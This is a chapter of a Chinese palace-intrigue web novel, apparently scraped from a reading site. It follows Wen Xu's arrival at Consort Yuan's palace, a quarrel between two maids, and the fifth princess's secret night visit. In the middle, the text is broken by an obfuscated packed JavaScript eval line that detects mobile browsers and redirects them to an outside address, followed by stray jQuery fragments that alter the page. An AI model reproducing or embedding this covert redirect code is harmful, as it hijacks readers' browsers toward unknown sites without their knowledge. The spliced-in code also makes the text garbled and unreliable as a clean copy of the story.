10.心中愁
作品:《义兄总对我虎视眈眈怎么办?》 闻絮啜泣了一路。
两位宫人伴在闻絮旁侧,其中左边一位,忍了许久的烦躁在此刻爆发。
她没由来地推搡了闻絮一下,小姑娘踉跄,险些摔倒。
她扬起脑袋讥讽,“宫外头来的姑娘可真是不知规矩,待会到了贵人面前,若是还要如此放肆无礼,便是冲撞皇家之大过,到时候受了责罚,可莫怪我没提醒你。”
另一位宫人讶异,急忙上去扶住闻絮。
确认她无碍后,贴心为她拭泪,温柔细语道:“姑娘莫怕,她也是无心之言,姑娘莫要放在心上才好。”
闻絮本想止住的哭泣声,却在这位姐姐突如其来的安慰中,愈发抽噎,“是我给姐姐们添麻烦了,对不起。”
秋思制止住闻絮自贬身价的话语,她道:“姑娘休要如此说,您虽不是宫妃皇子,但您是官家小姐,比起咱们这些奴婢可是尊贵,姑娘千万不能妄自菲薄。姑娘要明白官大一阶压死人,在宫中同样适用。”
闻絮似懂非懂的点了点头。
见闻絮的情绪逐渐好转,秋思才放下心来。她斜瞪了一眼还在立在那处的冬洁,只见她满目的妄自尊大,眼底里竟是些瞧不起人的蔑视。
秋思强忍着火气道:“还磨蹭些什么名堂?若是迟了,耽误了元妃娘娘用膳的时辰,你跟我担待不起这个责任。”
听了她的话,冬洁就算再傲,也不敢得罪元妃娘娘,二人领着闻絮加快步子,朝福泽宫走去。
福泽宫的小太监一早便在门口候着,如今是左等右等终于盼来了。
“有劳二位姑姑,这是我家娘娘请二人姑姑喝茶的。”
小太监朝秋思冬洁手中各塞了些碎银。
秋思一改方才持重的面容,眉开眼笑地将这把碎银收好。
她熟络道:“哎呦,还请公公替我转达,就说奴婢谢过元妃娘娘了,娘娘日后若是有需要,尽管来差遣奴婢们便是。”
冬洁心中鄙夷万分,不过是主子手指缝溜出几点碎银,打赏了咱们这些跑腿的,何必这般阿谀奉承,真是自轻自贱。
回文宁殿的路上,天色早已渐暗,福泽宫的小太监怕她们看不清路,就寻了两盏灯笼给秋思二人。
灯笼映出的光亮在夜里将人影拉的颀长,炽热的烛光在步伐中摇曳生姿。
忽而,秋思冷嗤一声,抬手甩了冬洁一巴掌。
冬洁先是惊愣,而后怒气横生,下意识地想要还手。可扬起手臂的那一刹,她顿了顿,想到如今秋思的品阶比自己高,心口再不爽利,也只能憋屈吞下这口气,悻悻收回。
她眼底盛满了不服气,左手捂住发烫发肿的脸颊质问道:“我又错了何处?值得姐姐这般下狠手?”
都是当差奴婢,谁比谁高贵?不过就是仗着自己在文宁殿服侍的资历比自己久一些,就在此狐假虎威,虚张声势。
秋思平日最见不惯端着傲着的人,尤其是这批刚拨过来宫女,仗着身后贵人就敢仗势欺人,连自己这领事大宫女都不放在眼中。
她也有替闻絮打抱不平的意味。
“你不过是仗着早入宫几年,对小姑娘吵吵嚷嚷些个什么。她再次等也是官眷,魏将军的义女,不容许咱们这等子奴才置喙。人家小内侍敬你,才尊你一声姑姑,我看你是得了几句姑姑的傲气,便全然忘了自己的身份了。”
冬洁被这一番铺天盖地的话噎了片刻,随即恼羞成怒道:“秋思姐姐您不也是个趋炎附势面慈心恶的人吗?又有什么资格说我。”
秋思被这人的话蠢笑,她身后的主子怎会放这样一个“成事不足,败事有余”的家伙在文宁殿探听圣意。
秋思冷嘲着回怼,“凭我位比你高,凭我身后的贵人娘娘比你身后的还要厉害百倍。你呆了这么些年,还不明白?这宫里可不是个讲道理的地方。”
……
闻絮初来乍到,不知所措。好在有个小太监在她面前引路,细细嘱咐。
“姑娘才来,奴才斗胆同姑娘说说福泽宫的几位主子与规矩。”
据小太监道,福泽宫只住了元妃娘娘同她所生的两位公主,分别是二公主和闻絮将要伴读侍奉的五公主。
元妃娘娘为人温和善良,只是不露言表,二公主多像元妃娘娘。可五公主偏谁也不像,是个折腾顽劣的主,常常将福泽宫闹得鸡飞狗跳。
闻絮将小太监的话尽数听了进去,也大抵明白,自己今后是要在福泽宫,在元妃手底下讨生活。
宫门之高,宫墙之厚,飞不出许多愁。
元妃娘娘的母家元氏一族,祖籍永州,是极为富庶的江南鱼米乡,世代经商。
士农工商,商为最低,可到了元妃娘娘这代,其父亲科举入仕,今位居翰林院学士,虽是清水衙门,并无实权。可依仗祖辈留下的产业和慎王的举荐,元妃的叔父做了皇商,官商相结,如鱼得水。
元妃弟弟早几年也步朝为官,拜入翰林,元家如今形势可是一片大好。
入了主殿,闻絮见到了元妃娘娘还有二公主,五公主殿下。
她微敛着眸依次行礼。
只匆匆扫了一眼,闻絮便被元妃那一身雍容华贵给震惊到。她第一次对绫罗绸缎,锦衣玉食堆砌出来的美人有了实感。
通身的金银光彩,气派十足,貌似天上仙子一般,艳丽绝伦。
这般貌美的人却不苟言笑,宫人们又在安静的布菜,大家都恭默受静,一言不发。
这屋内虽都是活人,可闻絮只觉泛着一片静悄悄的死寂,很是瘆人。
“你便是父皇给我选的伴读?”那五公主率先打破沉寂,她不似元妃与她姐姐二公主那般端丽秀气,而是分外跳脱。
蓦然来了个年纪相仿的人,她心中欣喜若狂,蹦跶着贴近闻絮,问:“你叫什么名字啊?”
第一次见到公主娘娘们,闻絮不免提心吊胆,生怕哪句话出了差池,惹得娘娘公主们心生不快。
她战战兢兢答,“回公主,臣女名唤闻絮。”
端坐主席的元妃终于发话,她张唇便是谴责。
“华姝!她才来,你就莫要去扰她了。”
随后又对着闻絮道:“我命人将饭菜送到你房里,吃过饭洗漱好,今日好好休息,明日便随华姝一同去学馆。”
她的言语间未有多大起伏,以至于闻絮猜不出这位娘娘,是对她欢迎还是厌恶。
闻絮恭顺行礼,由宫人领着下去了。
元妃给闻絮安排的房间处在福泽宫东偏殿的一处静谧角落。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485161|169530||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻絮看着满满一桌膳食,只觉索然无味,嚼咽了几口,便搁下筷子沐浴去了。
她来时突然,双袖皆是空空,未曾带换洗衣物。
宫人们便禀了元妃,元妃只说拿几件五公主的衣服先给她将就几日,待过段时日再裁新衣。
是夜,月色微凉,万籁俱寂。
闻絮心中烦忧颇多,她在床榻辗转难眠。
陛下为何会突召她入宫做五公主伴读?还有当时魏叔父在文宁殿上提到的怀安一事?父亲究竟在礼州出了何事?为何会牵扯到陛下,还有自己?
这诸般疑问如潮水般涌了上来,搅得闻絮心乱如麻。
她只觉有一口郁闷堵在胸口,呼咽不上来。
屋外,骤然夜风习习,风摇曳树影,树叶们相互摩擦,一阵沙沙作响,宛如白日宫人们在门外交接耳语。
恍惚间,闻絮好像瞧见窗纸上掠过一道黑影,黑影掺着树影,在漆黑中使人瞧不大真切。
闻絮顿时脊背发凉,毛骨悚然,她纤细的指尖攥紧被角,脑中划过千百种歹人行刺的画面。
宫中,这种事不过寻常。稍有不慎,就能混进一两个别有用心之人。
她胸口起伏不定,壮着胆子寻问:“谁啊?”
只听耳边传来,吱呀一声,那人推门而入,“闻絮,是我呀。”
五公主?
小公主清脆的音色在这阒然无声的夜里,使闻絮定了定心神。
她双手脱力,将手中用以防身的花瓶搁下,软了腿脚,惊魂未定道:“公主…殿下,您怎么来了?”
华姝向来神经大条,未曾意识到她的无心之举,差点将闻絮吓得魂飞魄散。
她将食指抵在唇上,示意闻絮低声些。
“我趁她们睡着,偷溜出来的。”
她变戏法似地,从怀中掏出一块手帕包裹好的东西,她小心翼翼拆开,递给闻絮,“我听薄雨说,你晚膳时没吃多少东西,想必半夜腹中一定饥饿,我藏了几块糕饼,给你。”
说罢她毫不客气的钻入闻絮被窝,“可是冷死我了,还是床上软和舒服。”
闻絮站在床前,捧着那放手帕里的糕饼,“公主…这这不合规矩啊。”
传闻说宫中规矩森严,可这公主未免也过于不拘小节了。
华姝状似无所谓地撇撇嘴,反而指责起闻絮,“什么规矩?你可真小气,我都舍得给你留糕饼,你就不舍得分我一角被子。”
闻絮连忙解释,“公主误会了,我不是这层意思,公主尊贵……。”
华姝打断她,忽而问道:“你是宫外头来的?”
虽不解她话锋为何转变如此迅速,闻絮顶着一头雾水应是。
“宫外好玩吗?听闻江南的山水如诗如画,你见过吗?还有,西北的黄沙是漫天飞舞,还有骆驼呢,骆驼和马有什么区别?这些。究竟是什么样的啊?”
她言语中满身憧憬与向往。
这……
闻絮一介闺阁女儿,哪里见的到这些东西,她摇摇头,“我也没见过,我在家中鲜少出门,只偶尔随母亲去一去城外的清静寺还愿。”
闻言,华姝眼底难掩失落之色。
“我还以为,宫外的人比我自由呢。”